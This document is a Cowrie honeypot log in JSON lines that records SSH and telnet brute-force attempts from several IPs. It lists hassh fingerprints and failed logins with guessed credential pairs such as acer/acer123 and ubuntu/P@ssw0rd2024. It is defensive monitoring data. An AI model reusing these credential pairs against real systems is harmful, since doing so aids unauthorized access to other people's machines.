{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:48:09.774968Z","src_ip":"159.203.92.129","session":"89d8413e1c8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:48:09.779412Z","src_ip":"159.203.92.129","session":"89d8413e1c8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"acer","password":"1234567890","message":"login attempt [acer/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:48:09.790515Z","src_ip":"159.203.92.129","session":"89d8413e1c8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:48:10.796956Z","src_ip":"159.203.92.129","session":"89d8413e1c8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.75.185.71","src_port":57704,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9dff89babfc","protocol":"ssh","message":"New connection: 49.75.185.71:57704 (10.17.0.5:22) [session: a9dff89babfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:48:16.922399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:48:16.927741Z","src_ip":"49.75.185.71","session":"a9dff89babfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:48:17.174270Z","src_ip":"49.75.185.71","session":"a9dff89babfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"0000000","message":"login attempt [ubuntu/0000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:48:18.192965Z","src_ip":"49.75.185.71","session":"a9dff89babfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:48:19.442616Z","src_ip":"49.75.185.71","session":"a9dff89babfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"70.65.190.120","src_port":56884,"dst_ip":"10.17.0.5","dst_port":23,"session":"52bcf763edd5","protocol":"telnet","message":"New connection: 70.65.190.120:56884 (10.17.0.5:23) [session: 52bcf763edd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:48:26.116815Z"}
{"eventid":"cowrie.session.connect","src_ip":"70.65.190.120","src_port":55780,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7841fae2205","protocol":"telnet","message":"New connection: 70.65.190.120:55780 (10.17.0.5:23) [session: b7841fae2205]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:48:30.762635Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.141.133","src_port":53165,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fc3e29650a7","protocol":"ssh","message":"New connection: 20.193.141.133:53165 (10.17.0.5:22) [session: 9fc3e29650a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:48:52.372215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:48:52.376312Z","src_ip":"20.193.141.133","session":"9fc3e29650a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:48:52.574902Z","src_ip":"20.193.141.133","session":"9fc3e29650a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asterisk","password":"test","message":"login attempt [asterisk/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:48:53.402969Z","src_ip":"20.193.141.133","session":"9fc3e29650a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57728,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a82200f8fcc","protocol":"ssh","message":"New connection: 159.203.92.129:57728 (159.203.135.109:22) [session: 9a82200f8fcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:48:54.489013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:48:54.493658Z","src_ip":"159.203.92.129","session":"9a82200f8fcc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:48:54.497596Z","src_ip":"159.203.92.129","session":"9a82200f8fcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"acer","password":"acer","message":"login attempt [acer/acer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:48:54.507924Z","src_ip":"159.203.92.129","session":"9a82200f8fcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.135.11.52","src_port":47638,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2207e114b84","protocol":"ssh","message":"New connection: 183.135.11.52:47638 (10.17.0.5:22) [session: f2207e114b84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:48:54.591831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:48:54.595570Z","src_ip":"183.135.11.52","session":"f2207e114b84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:48:54.604765Z","src_ip":"20.193.141.133","session":"9fc3e29650a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:48:54.839241Z","src_ip":"183.135.11.52","session":"f2207e114b84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:48:55.516276Z","src_ip":"159.203.92.129","session":"9a82200f8fcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"pass1234","message":"login attempt [guest/pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:48:57.010140Z","src_ip":"183.135.11.52","session":"f2207e114b84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.75.185.71","src_port":43482,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a2e4a409d33","protocol":"ssh","message":"New connection: 49.75.185.71:43482 (10.17.0.5:22) [session: 8a2e4a409d33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:49:25.471578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:49:25.476804Z","src_ip":"49.75.185.71","session":"8a2e4a409d33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:49:26.421573Z","src_ip":"49.75.185.71","session":"8a2e4a409d33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd2024","message":"login attempt [ubuntu/P@ssw0rd2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:49:28.181359Z","src_ip":"49.75.185.71","session":"8a2e4a409d33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48058,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f38e0d6c032","protocol":"ssh","message":"New connection: 159.203.92.129:48058 (159.203.135.109:22) [session: 2f38e0d6c032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:49:38.503401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:49:38.511802Z","src_ip":"159.203.92.129","session":"2f38e0d6c032","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:49:38.516822Z","src_ip":"159.203.92.129","session":"2f38e0d6c032","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"acer","password":"acer123","message":"login attempt [acer/acer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:49:38.531466Z","src_ip":"159.203.92.129","session":"2f38e0d6c032","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:49:39.538682Z","src_ip":"159.203.92.129","session":"2f38e0d6c032","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41912,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f9de03f4bfa","protocol":"ssh","message":"New connection: 159.203.92.129:41912 (159.203.135.109:22) [session: 6f9de03f4bfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:50:23.915755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:50:24.010847Z","src_ip":"159.203.92.129","session":"6f9de03f4bfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:50:24.014978Z","src_ip":"159.203.92.129","session":"6f9de03f4bfa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"acer","password":"pass","message":"login attempt [acer/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:50:24.321910Z","src_ip":"159.203.92.129","session":"6f9de03f4bfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:50:25.402324Z","src_ip":"159.203.92.129","session":"6f9de03f4bfa","protocol":"ssh"}
